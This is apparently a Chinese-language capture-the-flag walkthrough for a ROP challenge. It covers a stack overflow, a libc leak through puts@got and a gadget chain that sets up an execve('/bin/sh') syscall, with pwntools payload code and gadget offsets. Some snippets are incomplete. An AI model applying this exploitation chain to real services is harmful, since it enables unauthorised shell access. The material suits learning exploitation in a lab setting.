环境准备与漏洞定位

本章节实验环境基于x86_64架构,部署在Ubuntu 22.04系统,启用NX防护但关闭ASLR(可通过`echo 0 | sudo tee /proc/sys/kernel/randomize_va_space`配置)。目标程序`rop_level6`存在典型的栈溢出漏洞,通过`checksec`验证可见栈空间可执行权限已禁用,需通过ROP技术实现攻击。
使用GDB搭配pwntools进行动态分析,关键漏洞点位于`vuln`函数的`read`调用。通过发送超长字符串可覆盖返回地址,构造偏移量时建议使用cyclic pattern确定溢出点。本关卡要求通过`execve("/bin/sh",0,0)`获取系统shell,需重点关注参数寄存器的控制。
核心利用思路拆解
第六关的核心挑战在于实现系统调用三参数的精确控制。在x86_64架构中,系统调用需满足:
通过以下步骤构建攻击链:
1. 泄漏libc基地址确定`/bin/sh`字符串位置
2. 寻找控制寄存器的gadget链
3. 设置rax寄存器为59
4. 触发`syscall`指令执行
关键突破点在于找到`pop rdi; ret`、`pop rsi; pop r15; ret`等寄存器控制gadget,以及`__libc_system`或`execve`的绝对地址。建议使用ROPGadget工具配合`--multibr`参数进行多指令片段搜索。
分步攻击实现
步骤1:构造初始溢出
通过发送120字节随机数据后接8字节覆盖返回地址,确定崩溃点。使用pwntools的`cyclic(200)`生成测试payload,观察程序崩溃时的RSP值确认溢出偏移量为136字节。
步骤2:获取libc基地址
利用目标程序中存在的`puts@got`地址,构造payload跳转到`puts@plt`打印GOT表项。示例payload结构:
```python
payload = flat(
b'A'*136,
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.sym['main']
```
接收输出后计算libc基址:`libc_base = u64(leak.ljust(8,b'\\x00'))
步骤3:寄存器控制链构造
通过`ROP(libc)`对象查找关键gadget:
```python
pop_rdi = libc.address + 0x23b6a # pop rdi; ret
pop_rsi_r15 = libc.address + 0x2601f # pop rsi; pop r15; ret
pop_rax_rdx_rbx = libc.address + 0x913f6 # pop rax; pop rdx; pop rbx; ret
syscall = libc.address + 0x9132a
```
步骤4:完整攻击链组装
最终payload需依次设置:
1. rdi指向`/bin/sh`字符串地址(libc_base + 0x1b45bd)
2. rsi设为0
3. rdx设为0
4. rax设为59
5. 执行syscall
示例最终payload结构:
```python
payload = flat(
b'A'*136,
pop_rdi,
bin_sh_addr,
pop_rsi_r15,
0, 0,
pop_rax_rdx_rbx,
59, 0, 0,
syscall
```
高级技巧与避坑指南
1. Gadget搜索优化
- 优先选择副作用小的gadget(如pop指令